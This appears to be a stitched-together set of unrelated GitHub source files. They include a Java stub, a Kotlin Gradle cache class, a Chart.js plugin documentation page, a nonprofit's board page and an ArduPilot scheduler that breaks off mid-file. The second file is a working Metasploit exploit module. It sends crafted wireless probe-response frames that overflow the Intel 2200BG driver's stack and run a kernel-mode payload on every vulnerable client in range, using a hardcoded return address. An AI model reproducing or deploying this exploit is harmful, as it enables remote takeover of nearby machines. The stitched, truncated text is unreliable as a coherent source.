package dk.brics.soot.intermediate.foonalasys; import dk.brics.soot.intermediate.representation.Method; import soot.util.dot.DotGraph; public class FooCallgraphCreator { public FooCallgraphCreator(Method[] methods) { // TODO Auto-generated constructor stub } public DotGraph getCallGraphAsDot() { return null; } }
{ "pile_set_name": "Github" }
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/projects/Framework/ ## require 'msf/core' module Msf class Exploits::Windows::Driver::Intel_Centrino_2200BG_driver_probe < Msf::Exploit::Remote include Exploit::Lorcon include Exploit::KernelMode def initialize(info = {}) super(update_info(info, 'Name' => 'Intel Centrino 2200BG Wireless Driver Probe Overflow', 'Description' => %q{ This module exploits a stack overflow in the w22n51.sys driver provided with the Intel 2200BG integrated wireless adapter. This stack overflow allows remote code execution in kernel mode. The stack overflow is triggered when a 802.11 Probe response frame is received that contains multi vendor specific tag and "\x00" as essid and essid length element. This exploit was tested with version 8.0.12.20000 of the driver and an Intel Centrino 2200BG integrated wireless adapter. Newer versions of the w22n51.sys driver are provided from Intel to resolve this flaw. Since this vulnerability is exploited via probe response frames, all cards within range of the attack will be affected. Vulnerable clients don't need to have their card in a particular state for this exploit to work. This module depends on the Lorcon library and only works on the Linux platform with a supported wireless card. Please see the Ruby Lorcon documentation (external/ruby-lorcon/README) for more information. }, 'Author' => [ 'oveRet \'Giuseppe Gottardi\' <overet [at] securitydate.it', # exploit dev 'skape' # windows kernel ninjitsu ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 4529 $', 'References' => [ ['URL', 'http://www.kb.cert.org/vuls/id/524332'], ['URL', 'http://www.milw0rm.org/exploits/3158'], ['URL', 'http://overet.securitydate.it/stuff/2200BG_8.0.12.20000_drivers.zip'] ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 224 }, 'Platform' => 'win', 'Targets' => [ # Windows XP SP2 # 5.1.2600 (xpsp_sp2_gdr.070227-2254) [ 'Windows XP SP2 (5.1.2600), w22n51.sys 8.0.12.20000', { 'Ret' => 0x8054eb62, 'Platform' => 'win', 'Payload' => { 'ExtendedOptions' => { 'Stager' => 'sud_syscall_hook', # don't change this 'PrependUser' => "\xeb\x02" + # required jump "\x85\xe0", # fixed max len 'Recovery' => 'idlethread_restart', 'KiIdleLoopAddress' => 0x804dbb27, } } } ] ], 'DefaultTarget' => 0 )) register_options( [ OptString.new('ADDR_DST', [ true, "The MAC address to send this to",'FF:FF:FF:FF:FF:FF']), OptInt.new('RUNTIME', [ true, "The number of time to run the attack", 1000]), OptInt.new('DELAY', [ true, "The number of seconds to sleep between the packets", 1]), ], self.class) end def exploit open_wifi rtime = datastore['RUNTIME'].to_i dtime = datastore['DELAY'].to_i count = 0 print_status("Sending probe exploit to #{datastore['ADDR_DST']}...") print "[-] " while (count < rtime) wifi.write(create_beacon) select(nil, nil, nil, 0.10) if (count % 100 == 0) count += 1 #Exit if we get a session break if session_created? print "#" sleep(dtime) end print "\n" print_status("Completed sending probe.") end def create_beacon bssid = ("\x43" * 6) src = ("\x43" * 6) seq = [rand(255)].pack('n') fill = 0xe0 - (payload.encoded.length - 125) frame = "\x50" + # type/subtype "\x00" + # flags "\x3a\x01" + # duration eton(datastore['ADDR_DST']) + # dst src + # src bssid + # bssid seq + # seq rand_text(8) + # timestamp value "\xa0\x0f" + # beacon interval "\x31\x08" + # capability flags # ssid tag "\x00\x00" + # supported rates "\x01" + "\x01" + "\x82" + # current channel "\x03" + "\x01" + channel.chr + # fixed max len "\x85\x7b" + payload.encoded + # fill to reach e0 length ("\x41" * fill) + # vendor specific tag "\xdd" + "\x18" + "\x00\x50\xf2\x02\x01\x01\x89\x00\x03\xa5\x00\x00\x27\xa5\x00\x00" + "\x42\x54\xbc\x00\x62\x43\x66\x00" + # vendor specific tag "\xdd" + "\x10" + "\x00\x50\xf2\x05\x00\x01\x00\x04\x00\x00\x83\x07" + # RET address [target['Ret']].pack('V') return frame end end end # milw0rm.com [2008-04-17]
{ "pile_set_name": "Github" }
/* * Copyright 2010-2019 JetBrains s.r.o. Use of this source code is governed by the Apache 2.0 license * that can be found in the license/LICENSE.txt file. */ package org.jetbrains.kotlin.gradle.targets.js.npm import com.google.gson.GsonBuilder import org.gradle.api.Project import org.gradle.api.artifacts.ResolvedDependency import org.jetbrains.kotlin.gradle.internal.ProcessedFilesCache import org.jetbrains.kotlin.gradle.targets.js.nodejs.NodeJsRootExtension import java.io.File /** * Cache for storing already created [GradleNodeModule]s */ internal abstract class AbstractNodeModulesCache(val nodeJs: NodeJsRootExtension) : AutoCloseable { companion object { const val STATE_FILE_NAME = ".visited" } val project: Project get() = nodeJs.rootProject internal val dir = nodeJs.nodeModulesGradleCacheDir private val cache = ProcessedFilesCache(project, dir, STATE_FILE_NAME, "9") @Synchronized fun get( dependency: ResolvedDependency, file: File ): GradleNodeModule? = cache.getOrCompute(file) { buildImportedPackage(dependency, file) }?.let { GradleNodeModule(it) } abstract fun buildImportedPackage( dependency: ResolvedDependency, file: File ): File? @Synchronized override fun close() { cache.close() } } fun makeNodeModule( container: File, packageJson: PackageJson, files: (File) -> Unit ): File { val dir = importedPackageDir(container, packageJson.name, packageJson.version) if (dir.exists()) dir.deleteRecursively() check(dir.mkdirs()) { "Cannot create directory: $dir" } val gson = GsonBuilder() .setPrettyPrinting() .disableHtmlEscaping() .create() files(dir) dir.resolve("package.json").writer().use { gson.toJson(packageJson, it) } return dir } fun importedPackageDir(container: File, name: String, version: String): File = container.resolve(name).resolve(version) fun GradleNodeModule(dir: File) = GradleNodeModule(dir.parentFile.name, dir.name, dir)
{ "pile_set_name": "Github" }
<!DOCTYPE HTML> <html lang="" > <head> <meta charset="UTF-8"> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <title>Plugins · GitBook</title> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="description" content=""> <meta name="generator" content="GitBook 3.2.2"> <meta name="author" content="chartjs"> <link rel="stylesheet" href="../gitbook/style.css"> <link rel="stylesheet" href="../gitbook/gitbook-plugin-search-plus/search.css"> <link rel="stylesheet" href="../gitbook/gitbook-plugin-highlight/website.css"> <link rel="stylesheet" href="../gitbook/gitbook-plugin-fontsettings/website.css"> <link rel="stylesheet" href="../style.css"> <meta name="HandheldFriendly" content="true"/> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="black"> <link rel="apple-touch-icon-precomposed" sizes="152x152" href="../gitbook/images/apple-touch-icon-precomposed-152.png"> <link rel="shortcut icon" href="../gitbook/images/favicon.ico" type="image/x-icon"> <link rel="next" href="charts.html" /> <link rel="prev" href="updates.html" /> <link rel="stylesheet" href="../gitbook/gitbook-plugin-chartjs/style.css"> <script src="../gitbook/gitbook-plugin-chartjs/Chart.bundle.js"></script> <script src="../gitbook/gitbook-plugin-chartjs/chartjs-plugin-deferred.js"></script> </head> <body> <div class="book"> <div class="book-summary"> <div id="book-search-input" role="search"> <input type="text" placeholder="Type to search" /> </div> <nav role="navigation"> <ul class="summary"> <li class="chapter " data-level="1.1" data-path="../"> <a href="../"> Chart.js </a> </li> <li class="chapter " data-level="1.2" data-path="../getting-started/"> <a href="../getting-started/"> Getting Started </a> <ul class="articles"> <li class="chapter " data-level="1.2.1" data-path="../getting-started/installation.html"> <a href="../getting-started/installation.html"> Installation </a> </li> <li class="chapter " data-level="1.2.2" data-path="../getting-started/integration.html"> <a href="../getting-started/integration.html"> Integration </a> </li> <li class="chapter " data-level="1.2.3" data-path="../getting-started/usage.html"> <a href="../getting-started/usage.html"> Usage </a> </li> </ul> </li> <li class="chapter " data-level="1.3" data-path="../general/"> <a href="../general/"> General </a> <ul class="articles"> <li class="chapter " data-level="1.3.1" data-path="../general/responsive.html"> <a href="../general/responsive.html"> Responsive </a> </li> <li class="chapter " data-level="1.3.2" data-path="../general/interactions/"> <a href="../general/interactions/"> Interactions </a> <ul class="articles"> <li class="chapter " data-level="1.3.2.1" data-path="../general/interactions/events.html"> <a href="../general/interactions/events.html"> Events </a> </li> <li class="chapter " data-level="1.3.2.2" data-path="../general/interactions/modes.html"> <a href="../general/interactions/modes.html"> Modes </a> </li> </ul> </li> <li class="chapter " data-level="1.3.3" data-path="../general/options.html"> <a href="../general/options.html"> Options </a> </li> <li class="chapter " data-level="1.3.4" data-path="../general/colors.html"> <a href="../general/colors.html"> Colors </a> </li> <li class="chapter " data-level="1.3.5" data-path="../general/fonts.html"> <a href="../general/fonts.html"> Fonts </a> </li> </ul> </li> <li class="chapter " data-level="1.4" data-path="../configuration/"> <a href="../configuration/"> Configuration </a> <ul class="articles"> <li class="chapter " data-level="1.4.1" data-path="../configuration/animations.html"> <a href="../configuration/animations.html"> Animations </a> </li> <li class="chapter " data-level="1.4.2" data-path="../configuration/layout.html"> <a href="../configuration/layout.html"> Layout </a> </li> <li class="chapter " data-level="1.4.3" data-path="../configuration/legend.html"> <a href="../configuration/legend.html"> Legend </a> </li> <li class="chapter " data-level="1.4.4" data-path="../configuration/title.html"> <a href="../configuration/title.html"> Title </a> </li> <li class="chapter " data-level="1.4.5" data-path="../configuration/tooltip.html"> <a href="../configuration/tooltip.html"> Tooltip </a> </li> <li class="chapter " data-level="1.4.6" data-path="../configuration/elements.html"> <a href="../configuration/elements.html"> Elements </a> </li> </ul> </li> <li class="chapter " data-level="1.5" data-path="../charts/"> <a href="../charts/"> Charts </a> <ul class="articles"> <li class="chapter " data-level="1.5.1" data-path="../charts/line.html"> <a href="../charts/line.html"> Line </a> </li> <li class="chapter " data-level="1.5.2" data-path="../charts/bar.html"> <a href="../charts/bar.html"> Bar </a> </li> <li class="chapter " data-level="1.5.3" data-path="../charts/radar.html"> <a href="../charts/radar.html"> Radar </a> </li> <li class="chapter " data-level="1.5.4" data-path="../charts/doughnut.html"> <a href="../charts/doughnut.html"> Doughnut & Pie </a> </li> <li class="chapter " data-level="1.5.5" data-path="../charts/polar.html"> <a href="../charts/polar.html"> Polar Area </a> </li> <li class="chapter " data-level="1.5.6" data-path="../charts/bubble.html"> <a href="../charts/bubble.html"> Bubble </a> </li> <li class="chapter " data-level="1.5.7" data-path="../charts/scatter.html"> <a href="../charts/scatter.html"> Scatter </a> </li> <li class="chapter " data-level="1.5.8" data-path="../charts/area.html"> <a href="../charts/area.html"> Area </a> </li> <li class="chapter " data-level="1.5.9" data-path="../charts/mixed.html"> <a href="../charts/mixed.html"> Mixed </a> </li> </ul> </li> <li class="chapter " data-level="1.6" data-path="../axes/"> <a href="../axes/"> Axes </a> <ul class="articles"> <li class="chapter " data-level="1.6.1" data-path="../axes/cartesian/"> <a href="../axes/cartesian/"> Cartesian </a> <ul class="articles"> <li class="chapter " data-level="1.6.1.1" data-path="../axes/cartesian/category.html"> <a href="../axes/cartesian/category.html"> Category </a> </li> <li class="chapter " data-level="1.6.1.2" data-path="../axes/cartesian/linear.html"> <a href="../axes/cartesian/linear.html"> Linear </a> </li> <li class="chapter " data-level="1.6.1.3" data-path="../axes/cartesian/logarithmic.html"> <a href="../axes/cartesian/logarithmic.html"> Logarithmic </a> </li> <li class="chapter " data-level="1.6.1.4" data-path="../axes/cartesian/time.html"> <a href="../axes/cartesian/time.html"> Time </a> </li> </ul> </li> <li class="chapter " data-level="1.6.2" data-path="../axes/radial/"> <a href="../axes/radial/"> Radial </a> <ul class="articles"> <li class="chapter " data-level="1.6.2.1" data-path="../axes/radial/linear.html"> <a href="../axes/radial/linear.html"> Linear </a> </li> </ul> </li> <li class="chapter " data-level="1.6.3" data-path="../axes/labelling.html"> <a href="../axes/labelling.html"> Labelling </a> </li> <li class="chapter " data-level="1.6.4" data-path="../axes/styling.html"> <a href="../axes/styling.html"> Styling </a> </li> </ul> </li> <li class="chapter " data-level="1.7" data-path="./"> <a href="./"> Developers </a> <ul class="articles"> <li class="chapter " data-level="1.7.1" data-path="api.html"> <a href="api.html"> Chart.js API </a> </li> <li class="chapter " data-level="1.7.2" data-path="updates.html"> <a href="updates.html"> Updating Charts </a> </li> <li class="chapter active" data-level="1.7.3" data-path="plugins.html"> <a href="plugins.html"> Plugins </a> </li> <li class="chapter " data-level="1.7.4" data-path="charts.html"> <a href="charts.html"> New Charts </a> </li> <li class="chapter " data-level="1.7.5" data-path="axes.html"> <a href="axes.html"> New Axes </a> </li> <li class="chapter " data-level="1.7.6" data-path="contributing.html"> <a href="contributing.html"> Contributing </a> </li> </ul> </li> <li class="chapter " data-level="1.8" data-path="../notes/"> <a href="../notes/"> Additional Notes </a> <ul class="articles"> <li class="chapter " data-level="1.8.1" data-path="../notes/comparison.html"> <a href="../notes/comparison.html"> Comparison Table </a> </li> <li class="chapter " data-level="1.8.2" data-path="../notes/extensions.html"> <a href="../notes/extensions.html"> Popular Extensions </a> </li> <li class="chapter " data-level="1.8.3" data-path="../notes/license.html"> <a href="../notes/license.html"> License </a> </li> </ul> </li> <li class="divider"></li> <li> <a href="https://www.gitbook.com" target="blank" class="gitbook-link"> Published with GitBook </a> </li> </ul> </nav> </div> <div class="book-body"> <div class="body-inner"> <div class="book-header" role="navigation"> <!-- Title --> <h1> <i class="fa fa-circle-o-notch fa-spin"></i> <a href=".." >Plugins</a> </h1> </div> <div class="page-wrapper" tabindex="-1" role="main"> <div class="page-inner"> <div class="search-plus" id="book-search-results"> <div class="search-noresults"> <section class="normal markdown-section"> <h1 id="plugins">Plugins</h1> <p>Plugins are the most efficient way to customize or change the default behavior of a chart. They have been introduced at <a href="https://github.com/chartjs/Chart.js/releases/tag/2.1.0" target="_blank">version 2.1.0</a> (global plugins only) and extended at <a href="https://github.com/chartjs/Chart.js/releases/tag/v2.5.0" target="_blank">version 2.5.0</a> (per chart plugins and options).</p> <h2 id="using-plugins">Using plugins</h2> <p>Plugins can be shared between chart instances:</p> <pre><code class="lang-javascript"><span class="hljs-keyword">var</span> plugin = { <span class="hljs-comment">/* plugin implementation */</span> }; <span class="hljs-comment">// chart1 and chart2 use &quot;plugin&quot;</span> <span class="hljs-keyword">var</span> chart1 = <span class="hljs-keyword">new</span> Chart(ctx, { plugins: [plugin] }); <span class="hljs-keyword">var</span> chart2 = <span class="hljs-keyword">new</span> Chart(ctx, { plugins: [plugin] }); <span class="hljs-comment">// chart3 doesn&apos;t use &quot;plugin&quot;</span> <span class="hljs-keyword">var</span> chart3 = <span class="hljs-keyword">new</span> Chart(ctx, {}); </code></pre> <p>Plugins can also be defined directly in the chart <code>plugins</code> config (a.k.a. <em>inline plugins</em>):</p> <pre><code class="lang-javascript"><span class="hljs-keyword">var</span> chart = <span class="hljs-keyword">new</span> Chart(ctx, { plugins: [{ beforeInit: <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">chart, options</span>) </span>{ <span class="hljs-comment">//..</span> } }] }); </code></pre> <p>However, this approach is not ideal when the customization needs to apply to many charts.</p> <h2 id="global-plugins">Global plugins</h2> <p>Plugins can be registered globally to be applied on all charts (a.k.a. <em>global plugins</em>):</p> <pre><code class="lang-javascript">Chart.plugins.register({ <span class="hljs-comment">// plugin implementation</span> }); </code></pre> <blockquote> <p>Note: <em>inline</em> plugins can&apos;t be registered globally.</p> </blockquote> <h2 id="configuration">Configuration</h2> <h3 id="plugin-id">Plugin ID</h3> <p>Plugins must define a unique id in order to be configurable.</p> <p>This id should follow the <a href="https://docs.npmjs.com/files/package.json#name" target="_blank">npm package name convention</a>:</p> <ul> <li>can&apos;t start with a dot or an underscore</li> <li>can&apos;t contain any non-URL-safe characters</li> <li>can&apos;t contain uppercase letters</li> <li>should be something short, but also reasonably descriptive</li> </ul> <p>If a plugin is intended to be released publicly, you may want to check the <a href="https://www.npmjs.com/search?q=chartjs-plugin-" target="_blank">registry</a> to see if there&apos;s something by that name already. Note that in this case, the package name should be prefixed by <code>chartjs-plugin-</code> to appear in Chart.js plugin registry.</p> <h3 id="plugin-options">Plugin options</h3> <p>Plugin options are located under the <code>options.plugins</code> config and are scoped by the plugin ID: <code>options.plugins.{plugin-id}</code>.</p> <pre><code class="lang-javascript"><span class="hljs-keyword">var</span> chart = <span class="hljs-keyword">new</span> Chart(ctx, { config: { foo: { ... }, <span class="hljs-comment">// chart &apos;foo&apos; option</span> plugins: { p1: { foo: { ... }, <span class="hljs-comment">// p1 plugin &apos;foo&apos; option</span> bar: { ... } }, p2: { foo: { ... }, <span class="hljs-comment">// p2 plugin &apos;foo&apos; option</span> bla: { ... } } } } }); </code></pre> <h4 id="disable-plugins">Disable plugins</h4> <p>To disable a global plugin for a specific chart instance, the plugin options must be set to <code>false</code>:</p> <pre><code class="lang-javascript">Chart.plugins.register({ id: <span class="hljs-string">&apos;p1&apos;</span>, <span class="hljs-comment">// ...</span> }); <span class="hljs-keyword">var</span> chart = <span class="hljs-keyword">new</span> Chart(ctx, { config: { plugins: { p1: <span class="hljs-literal">false</span> <span class="hljs-comment">// disable plugin &apos;p1&apos; for this instance</span> } } }); </code></pre> <h2 id="plugin-core-api">Plugin Core API</h2> <p>Available hooks (as of version 2.6):</p> <ul> <li>beforeInit</li> <li>afterInit</li> <li>beforeUpdate <em>(cancellable)</em></li> <li>afterUpdate</li> <li>beforeLayout <em>(cancellable)</em></li> <li>afterLayout</li> <li>beforeDatasetsUpdate <em>(cancellable)</em></li> <li>afterDatasetsUpdate</li> <li>beforeDatasetUpdate <em>(cancellable)</em></li> <li>afterDatasetUpdate</li> <li>beforeRender <em>(cancellable)</em></li> <li>afterRender</li> <li>beforeDraw <em>(cancellable)</em></li> <li>afterDraw</li> <li>beforeDatasetsDraw <em>(cancellable)</em></li> <li>afterDatasetsDraw</li> <li>beforeDatasetDraw <em>(cancellable)</em></li> <li>afterDatasetDraw</li> <li>beforeEvent <em>(cancellable)</em></li> <li>afterEvent</li> <li>resize</li> <li>destroy</li> </ul> </section> </div> <div class="search-results"> <div class="has-results"> <h1 class="search-results-title"><span class='search-results-count'></span> results matching "<span class='search-query'></span>"</h1> <ul class="search-results-list"></ul> </div> <div class="no-results"> <h1 class="search-results-title">No results matching "<span class='search-query'></span>"</h1> </div> </div> </div> </div> </div> </div> <a href="updates.html" class="navigation navigation-prev " aria-label="Previous page: Updating Charts"> <i class="fa fa-angle-left"></i> </a> <a href="charts.html" class="navigation navigation-next " aria-label="Next page: New Charts"> <i class="fa fa-angle-right"></i> </a> </div> <script> var gitbook = gitbook || []; gitbook.push(function() { gitbook.page.hasChanged({"page":{"title":"Plugins","level":"1.7.3","depth":2,"next":{"title":"New Charts","level":"1.7.4","depth":2,"path":"developers/charts.md","ref":"developers/charts.md","articles":[]},"previous":{"title":"Updating Charts","level":"1.7.2","depth":2,"path":"developers/updates.md","ref":"developers/updates.md","articles":[]},"dir":"ltr"},"config":{"plugins":["-lunr","-search","search-plus","anchorjs","chartjs","ga"],"root":"./docs","styles":{"website":"style.css","pdf":"styles/pdf.css","epub":"styles/epub.css","mobi":"styles/mobi.css","ebook":"styles/ebook.css","print":"styles/print.css"},"pluginsConfig":{"anchorjs":{"icon":"#","placement":"left","visible":"always"},"ga":{"configuration":"auto","token":"UA-28909194-3"},"theme-default":{"styles":{"website":"style.css","pdf":"styles/pdf.css","epub":"styles/epub.css","mobi":"styles/mobi.css","ebook":"styles/ebook.css","print":"styles/print.css"},"showLevel":false},"search-plus":{},"chartjs":{"defaults":null},"highlight":{},"sharing":{"facebook":true,"twitter":true,"google":false,"weibo":false,"instapaper":false,"vk":false,"all":["facebook","google","twitter","weibo","instapaper"]},"fontsettings":{"theme":"white","family":"sans","size":2}},"theme":"default","author":"chartjs","pdf":{"pageNumbers":true,"fontSize":12,"fontFamily":"Arial","paperSize":"a4","chapterMark":"pagebreak","pageBreaksBefore":"/","margin":{"right":62,"left":62,"top":56,"bottom":56}},"structure":{"langs":"LANGS.md","readme":"README.md","glossary":"GLOSSARY.md","summary":"SUMMARY.md"},"variables":{},"gitbook":"3.2.2"},"file":{"path":"developers/plugins.md","mtime":"2017-10-28T15:03:49.266Z","type":"markdown"},"gitbook":{"version":"3.2.2","time":"2017-10-28T15:09:53.587Z"},"basePath":"..","book":{"language":""}}); }); </script> </div> <script src="../gitbook/gitbook.js"></script> <script src="../gitbook/theme.js"></script> <script src="../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js"></script> <script src="../gitbook/gitbook-plugin-search-plus/search.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/anchor-js/3.1.1/anchor.min.js"></script> <script src="../gitbook/gitbook-plugin-anchorjs/anchor-style.js"></script> <script src="../gitbook/gitbook-plugin-ga/plugin.js"></script> <script src="../gitbook/gitbook-plugin-sharing/buttons.js"></script> <script src="../gitbook/gitbook-plugin-fontsettings/fontsettings.js"></script> </body> </html>
{ "pile_set_name": "Github" }
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.jackrabbit.commons.iterator; import javax.jcr.Node; import javax.jcr.NodeIterator; import javax.jcr.RepositoryException; import javax.jcr.version.VersionIterator; import javax.jcr.version.Version; /** * Implements a node iterator that takes a version iterator and returns the * frozen nodes of the underlying versions. */ public class FrozenNodeIteratorAdapter extends RangeIteratorAdapter implements NodeIterator { public FrozenNodeIteratorAdapter(VersionIterator iterator) { super(iterator); } /** * {@inheritDoc} * * @return the next frozen node. */ public Node nextNode() { try { return ((Version) next()).getFrozenNode(); } catch (RepositoryException e) { throw (IllegalStateException) new IllegalStateException(e.toString()).initCause(e); } } }
{ "pile_set_name": "Github" }
<div class="container"> <div class="row"> <h3 id="download" class="page-header">Board of Directors</h3> <p class="lead">The board of directors enables Operation Code to continue to meet the evolving needs of our growing organization as we seek to fulfill our mission to get more transitioning military, veterans and military families coding and building software.</p> <h3>Executive Officers</h3> <div class='row'> <div class="col s12 m6"> <div class="card"> <div class="card-content"> <span class="card-title">Mark Kerr (<%= link_to '@miamimark', 'http://twitter.com/miamimark' %>)</span> <h5>Chairman, Operation Code; Development Advisor to U.S. Southern Command</h5> <p> At the height of the Iraq &amp; Afghanistan war, Mark Kerr joined the Army Judge Advocate General's Corps (JAG) serving as Defense Counsel in Korea, Iraq, Kosovo &amp; Afghanistan. Previously, he was Associate at Hogan &amp; Hartson where he led legal work related to regulatory compliance, mergers &amp; acquisitions, and construction contracts involving oil/gas, wind/hydroelectric energy, and manufacturing. A graduate of Yale Law School, Mr. Kerr currently serves as Development Advisor to U.S. Southern Command Combatant Commander, General John H. Kelly. </p> </div> </div> </div> <div class="col s12 m6"> <div class="card"> <div class="card-content"> <span class="card-title">Pete Runyon</span> <h5>Secretary/Treasurer, Operation Code; Financial Management Associate, Ernst & Young</h5> <p>A veteran of the US Marine Corps, Pete Runyon served as a Finance Officer in Japan. A graduate of NYU in economics, Mr. Runyon is currently in San Francisco at <a href="http://www.ey.com/">Ernst & Young</a> and previously was an Investment Advisor at Oppenheimer & Co. Inc. Mr. Runyon serves on the Finance Committee.</p> </div> </div> </div> </div> </div> <div class="row"> <h3>Board Directors</h3> <div class="row"> <div class="col s12 m6"> <div class="card"> <div class="card-content"> <span class="card-title">Aimee Knight (<a href="https://twitter.com/aimee_knight">@aimee_knight</a>)</span> <h5>Software Engineer, Kuali</h5> <p>Aimee Knight is a figure skater turned software engineer, proud wife of an Iraq and Afghanistan veteran, and a panelist on the <a href="https://itunes.apple.com/us/podcast/javascript-jabber/id496893300?mt=2">JavaScript Jabber podcast</a>. Mrs. Knight graduated from the <a href="http://nashvillesoftwareschool.com">Nashville Software School (NSS)</a> in 2014, and now works at <a href="https://www.kuali.co">Kuali.co</a> helping build open source software for higher education using React.js and Node.</p> </div> </div> </div> <div class="col s12 m6"> <div class="card"> <div class="card-content"> <span class="card-title">David Molina (<a href="https://twitter.com/davidcmolina">@davidcmolina</a>)</span> <h5>Founder/Executive Director, Operation Code</h5> <p>David Molina is the Founder/Executive Director of Operation Code, an open source project he started on August 21, 2014 when he wrote the first line of code to <a href="https://github.com/OperationCode/operationcode">GitHub</a>. Mr. Molina is a ex-Army Captain, and currently resides in Portland, Oregon with his wife and three young daughters. <a href="/founder">Read his story.</a></p> </div> </div> </div> <div class="col s12 m6"> <div class="card"> <div class="card-content"> <span class="card-title">Elmer Thomas (<a href="https://twitter.com/thinkingserious">@thinkingserious</a>)</span> <h5>Developer Experience Engineer, SendGrid</h5> <p>Elmer Thomas is Developer Experience Engineer at Colorado-based, <a href="http://sendgrid.com">SendGrid</a>, an transactional email delivery and management service and a mentor for Techstars Patriot Boot Camp military, veterans and spouses. Mr. Thomas studied computer & electrical engineering at UC Riverside, and also serves as Vice President on the Council for the Advancement of Black Engineers. Mr. Thomas serves on the PR/Marketing and Programs Committee.</p> </div> </div> </div> <div class="col s12 m6"> <div class="card"> <div class="card-content"> <span class="card-title">Dr. Tyrone Grandison (<a href="https://twitter.com/tgrandison">@tgrandison</a>)</span> <h5>CIO, IHME at University of Washington</h5> <p>Dr. Tyrone Grandison is the CIO of the Institute for Health Metrics and Evaluation (IHME) at the University of Washington. He previously served as a White House Presidential Innovation Fellow working with the US Department of Labor, and co-founded the Commerce Data Service at the US Department of Commerce.</p> </div> </div> </div> </div> </div> </div>
{ "pile_set_name": "Github" }
#include "Scheduler.h" #include <algorithm> #include <errno.h> #include <poll.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <sys/time.h> #include <unistd.h> #include <AP_HAL/AP_HAL.h> #include <AP_Vehicle/AP_Vehicle_Type.h> #include "RCInput.h" #include "RPIOUARTDriver.h" #include "SPIUARTDriver.h" #include "Storage.h" #include "UARTDriver.h" #include "Util.h" #if CONFIG_HAL_BOARD_SUBTYPE == HAL_BOARD_SUBTYPE_LINUX_QFLIGHT #include <rpcmem.h> #include <AP_HAL_Linux/qflight/qflight_util.h> #include <AP_HAL_Linux/qflight/qflight_dsp.h> #include <AP_HAL_Linux/qflight/qflight_buffer.h> #endif using namespace Linux; extern const AP_HAL::HAL& hal; #define APM_LINUX_TIMER_PRIORITY 15 #define APM_LINUX_UART_PRIORITY 14 #define APM_LINUX_RCIN_PRIORITY 13 #define APM_LINUX_MAIN_PRIORITY 12 #define APM_LINUX_TONEALARM_PRIORITY 11 #define APM_LINUX_IO_PRIORITY 10 #define APM_LINUX_TIMER_RATE 1000 #define APM_LINUX_UART_RATE 100 #if CONFIG_HAL_BOARD_SUBTYPE == HAL_BOARD_SUBTYPE_LINUX_NAVIO || \ CONFIG_HAL_BOARD_SUBTYPE == HAL_BOARD_SUBTYPE_LINUX_ERLEBRAIN2 || \ CONFIG_HAL_BOARD_SUBTYPE == HAL_BOARD_SUBTYPE_LINUX_BH || \ CONFIG_HAL_BOARD_SUBTYPE == HAL_BOARD_SUBTYPE_LINUX_DARK || \ CONFIG_HAL_BOARD_SUBTYPE == HAL_BOARD_SUBTYPE_LINUX_URUS || \ CONFIG_HAL_BOARD_SUBTYPE == HAL_BOARD_SUBTYPE_LINUX_PXFMINI #define APM_LINUX_RCIN_RATE 2000 #define APM_LINUX_TONEALARM_RATE 100 #define APM_LINUX_IO_RATE 50 #else #define APM_LINUX_RCIN_RATE 100 #define APM_LINUX_TONEALARM_RATE 100 #define APM_LINUX_IO_RATE 50 #endif #define SCHED_THREAD(name_, UPPER_NAME_) \ { \ .name = "ap-" #name_, \ .thread = &_##name_##_thread, \ .policy = SCHED_FIFO, \ .prio = APM_LINUX_##UPPER_NAME_##_PRIORITY, \ .rate = APM_LINUX_##UPPER_NAME_##_RATE, \ } Scheduler::Scheduler() { } void Scheduler::init() { int ret; const struct sched_table { const char *name; SchedulerThread *thread; int policy; int prio; uint32_t rate; } sched_table[] = { SCHED_THREAD(timer, TIMER), SCHED_THREAD(uart, UART), SCHED_THREAD(rcin, RCIN), SCHED_THREAD(tonealarm, TONEALARM), SCHED_THREAD(io, IO), }; _main_ctx = pthread_self(); #if !APM_BUILD_TYPE(APM_BUILD_Replay) // we don't run Replay in real-time... mlockall(MCL_CURRENT|MCL_FUTURE); struct sched_param param = { .sched_priority = APM_LINUX_MAIN_PRIORITY }; if (sched_setscheduler(0, SCHED_FIFO, &param) == -1) { AP_HAL::panic("Scheduler: failed to set scheduling parameters: %s", strerror(errno)); } #endif /* set barrier to N + 1 threads: worker threads + main */ unsigned n_threads = ARRAY_SIZE(sched_table) + 1; ret = pthread_barrier_init(&_initialized_barrier, nullptr, n_threads); if (ret) { AP_HAL::panic("Scheduler: Failed to initialise barrier object: %s", strerror(ret)); } for (size_t i = 0; i < ARRAY_SIZE(sched_table); i++) { const struct sched_table *t = &sched_table[i]; t->thread->set_rate(t->rate); t->thread->set_stack_size(1024 * 1024); t->thread->start(t->name, t->policy, t->prio); } #if defined(DEBUG_STACK) && DEBUG_STACK register_timer_process(FUNCTOR_BIND_MEMBER(&Scheduler::_debug_stack, void)); #endif } void Scheduler::_debug_stack() { uint64_t now = AP_HAL::millis64(); if (now - _last_stack_debug_msec > 5000) { fprintf(stderr, "Stack Usage:\n" "\ttimer = %zu\n" "\tio = %zu\n" "\trcin = %zu\n" "\tuart = %zu\n" "\ttone = %zu\n", _timer_thread.get_stack_usage(), _io_thread.get_stack_usage(), _rcin_thread.get_stack_usage(), _uart_thread.get_stack_usage(), _tonealarm_thread.get_stack_usage()); _last_stack_debug_msec = now; } } void 